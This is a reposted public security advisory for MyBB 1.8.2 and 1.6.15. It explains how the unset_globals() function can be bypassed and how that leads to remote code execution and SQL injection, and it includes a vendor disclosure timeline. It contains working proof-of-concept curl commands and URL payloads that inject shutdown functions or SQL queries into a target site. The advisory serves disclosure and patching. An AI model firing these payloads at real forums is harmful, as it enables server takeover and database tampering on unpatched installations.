HenryGlazt

MyBB 1.8.2 - unset_globals() Function Bypass

Apr 29th, 2015
93
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 7.95 KB | None | 0 0
  1. # Exploit Title: MyBB <= 1.8.2 unset_globals() Function Bypass and Remote
  2. Code Execution Vulnerability
  3. # Date: 2014-11-21
  4. # Exploit Author: Taoguang Chen
  5. # Vendor Homepage: twitter.com/chtg57
  6. # Software Link: www.mybb.com
  7. # Version: MyBB 1.8 <= 1.8.2 and MyBB 1.6 <= 1.6.15
  8. MyBB had released 1.8.3 and 1.6.16 to fixed this vulnerability.
  9. Advisory: https://gist.github.com/chtg/e9824db42a8edf302b0e
  10. #MyBB <= 1.8.2 unset_globals() Function Bypass and Remote Code Execution Vulnerability
  11. Taoguang Chen <[@chtg](http://github.com/chtg)> - 2014.03.06
  12. > MyBB's unset_globals() function can be bypassed under special conditions and it is possible to allows remote code execution.
  13. ##I. MyBB's unset_globals() Function Bypass
  14. When PHP's register\_globals configuration set on, MyBB will call unset\_globals() function, all global variables registered by PHP from $\_POST
  15. ```
  16.        if(@ini_get("register_globals") == 1)
  17.        {
  18.            $this->unset_globals($_POST);
  19.            $this->unset_globals($_GET);
  20.            $this->unset_globals($_FILES);
  21.            $this->unset_globals($_COOKIE);
  22.        }
  23.        ...
  24.    }
  25.    ...
  26.    function unset_globals($array)
  27.    {
  28.        if(!is_array($array))
  29.        {
  30.            return;
  31.        }
  32.        foreach(array_keys($array) as $key)
  33.        {
  34.            unset($GLOBALS[$key]);
  35.            unset($GLOBALS[$key]); // Double unset to circumvent the zend_hash_del_key_or_index hole in PHP <4.4.3 and <5.1.4
  36.        }
  37.    }
  38. ```
  39. But unset\_globals() function can be bypassed.
  40. ###i) $\_GET, $\_FILES, or $\_COOKIE Array was Destroyed
  41. ```
  42. foo.php?_COOKIE=1
  43. // $_GET['_COOKIE']
  44. ```
  45. When $_GET['\_COOKIE']=1 is sent, unset\_globals() will destroy $GLOBALS['\_COOKIE'].
  46. ```
  47.            $this->unset_globals($_GET);
  48.        ...
  49.    }
  50.    ...
  51.    function unset_globals($array)
  52.    {
  53.        ...
  54.        foreach(array_keys($array) as $key)
  55.        {
  56.            unset($GLOBALS[$key]);
  57. ```
  58. This means $\_COOKIE array will be destroyed. This also means all global variables registered by PHP from $\_COOKIE array will be destroyed beca
  59. ```
  60.            $this->unset_globals($_COOKIE);
  61.        }
  62.        ...
  63.    }
  64.    ...
  65.    function unset_globals($array)
  66.    {
  67.        if(!is_array($array))
  68.        {
  69.            return;
  70.        }
  71. ```
  72. By the same token, if $\_GET or $\_FILES array was destroyed via unset\_globals(), the corresponding global variables registered by PHP will not
  73. ###ii) $GLOBALS Array was Destroyed
  74. ```
  75. foo.php?GLOBALS=1
  76. // $_GET['GLOBALS']
  77. ```
  78. When $\_GET['GLOBALS']=1 is sent, unset\_globals() will destroy $GLOBALS['GLOBALS']. This means $GLOBALS array will be destroyed.
  79. $GLOBALS array is a automatic global variable, and binding with global symbol table, you can use $GLOBALS['key'] to access or control a global
  80. By the same token, when $\_POST['GLOBALS'], $\_FLIES['GLOBALS'], or $\_COOKIE['GLOBALS'] is sent, unset\_globals() will destroy $GLOBALS array,
  81. In fact, MyBB is already aware of the problem:
  82. ```
  83.        $protected = array("_GET", "_POST", "_SERVER", "_COOKIE", "_FILES", "_ENV", "GLOBALS");
  84.        foreach($protected as $var)
  85.        {
  86.            if(isset($_REQUEST[$var]) || isset($_FILES[$var]))
  87.            {
  88.                die("Hacking attempt");
  89.            }
  90.        }
  91. ```
  92. Unfortunately, there is a small hole yet:-)
  93. $\_REQUEST is an associative array that by default contains mix of $\_GET, $\_POST, and $\_COOKIE arrays data.
  94. But PHP >= 5.3 introduced request\_order configuration, the directive affects the contents of $\_REQUEST array.
  95. ```
  96. request_order = "GP"
  97. ```
  98. This is recommended setting in php.ini. Set it to "GP" means only $\_GET and $\_POST arrays data is merged into $\_REQUEST array without $\_COO
  99. So, it is possible that sent $\_COOKIE['GLOBALS'], then bypass unset\_globals() function in PHP 5.3.
  100. ##II. Remote Code Execution Vulnerability
  101. There is one interesting method in MyBB:
  102. ```
  103. class MyBB {
  104.    ...
  105.    function __destruct()
  106.    {
  107.        // Run shutdown function
  108.        if(function_exists("run_shutdown"))
  109.        {
  110.            run_shutdown();
  111.        }
  112.    }
  113. }
  114. ```
  115. Look into run\_shutdown() function:
  116. ```
  117. function run_shutdown()
  118. {
  119.    global $config, $db, $cache, $plugins, $error_handler, $shutdown_functions, $shutdown_queries, $done_shutdown, $mybb;
  120.    ...
  121.    // Run any shutdown functions if we have them
  122.    if(is_array($shutdown_functions))
  123.    {
  124.        foreach($shutdown_functions as $function)
  125.        {
  126.            call_user_func_array($function['function'], $function['arguments']);
  127.        }
  128.    }
  129.    $done_shutdown = true;
  130. }
  131. ```
  132. The $shutdown\_functions was initialized via add\_shutdown() function in init.php:
  133. ```
  134. // Set up any shutdown functions we need to run globally
  135. add_shutdown('send_mail_queue');
  136. ```
  137. But add\_shutdown() function initialization handler is wrong:
  138. ```
  139. function add_shutdown($name, $arguments=array())
  140. {
  141.    global $shutdown_functions;
  142.    if(!is_array($shutdown_functions))
  143.    {
  144.        $shutdown_functions = array();
  145.    }
  146.    if(!is_array($arguments))
  147.    {
  148.        $arguments = array($arguments);
  149.    }
  150.    if(is_array($name) && method_exists($name[0], $name[1]))
  151.    {
  152.        $shutdown_functions[] = array('function' => $name, 'arguments' => $arguments);
  153.        return true;
  154.    }
  155.    else if(!is_array($name) && function_exists($name))
  156.    {
  157.        $shutdown_functions[] = array('function' => $name, 'arguments' => $arguments);
  158.        return true;
  159.    }
  160.    return false;
  161. }
  162. ```
  163. In the above code we see that run\_shutdown() function is vulnerable because $shutdown\_functions is initialized correctly and therefore result
  164. ##III. Proof of Concept
  165. When request\_order = "GP" and register\_globals = On, remote code execution by just using curl on the command line:
  166. ```
  167. $ curl --cookie "GLOBALS=1; shutdown_functions[0][function]=phpinfo; shutdown_functions[0][arguments][]=-1" http://www.target/
  168. ```
  169. ##IV. P.S.I
  170. **Another case to exploit the vulnerability:**
  171. When PHP's "disable\_functions" configuration directive disable ini\_get() function:
  172. ```
  173. disable_functions = ini_get
  174. ```
  175. The unset\_globals() function will not be called that regardless of register\_globals set on or off.
  176. ```
  177.        if(@ini_get("register_globals") == 1)
  178.        {
  179.            $this->unset_globals($_POST);
  180.            $this->unset_globals($_GET);
  181.            $this->unset_globals($_FILES);
  182.            $this->unset_globals($_COOKIE);
  183.        }
  184. ```
  185. **Proof of Concept**
  186. Works on disable\_functions = ini\_get and register\_globals = On:
  187. ```
  188. index.php?shutdown_functions[0][function]=phpinfo&shutdown_functions[0][arguments][]=-1
  189. ```
  190. ##V. P.S.II
  191. **SQL injection vulnerability via run\_shutdown() function**
  192. ```
  193. function run_shutdown()
  194. {
  195.     global $config, $db, $cache, $plugins, $error_handler, $shutdown_functions, $shutdown_queries, $done_shutdown, $mybb;
  196.     ...
  197.     // We have some shutdown queries needing to be run
  198.     if(is_array($shutdown_queries))
  199.     {
  200.         // Loop through and run them all
  201.         foreach($shutdown_queries as $query)
  202.         {
  203.             $db->query($query);
  204.         }
  205.     }
  206. ```
  207. The $shutdown\_queries was initialized in global.php:
  208. ```
  209. $shutdown_queries = array();
  210. ```
  211. But not all files are included global.php, such as css.php:
  212. ```
  213. require_once "./inc/init.php";
  214. ```
  215. There is not included global.php, and $shutdown\_queries is uninitialized, with the result that there is a SQL injection vulnerability.
  216. **Proof of Concept**
  217. Works on request\_order = "GP" and register\_globals = On:
  218. ```
  219. $ curl --cookie "GLOBALS=1; shutdown_queries[]=SQL_Inj" http://www.target/css.php
  220. ```
  221. Works on disable\_functions = ini\_get and register\_globals = On:
  222. ```
  223. css.php?shutdown_queries[]=SQL_Inj
  224. ```
  225. ##VI. Disclosure Timeline
  226. * 2014.03.06 - Notified the MyBB devs via security contact form
  227. * 2014.11.16 - Renotified the MyBB devs via Private Inquiries forum because no reply
  228. * 2014.11.20 - MyBB developers released MyBB 1.8.3 and MyBB 1.6.16
  229. * 2014.11.21 - Public Disclosure
Advertisement
Add Comment
Please, Sign In to add comment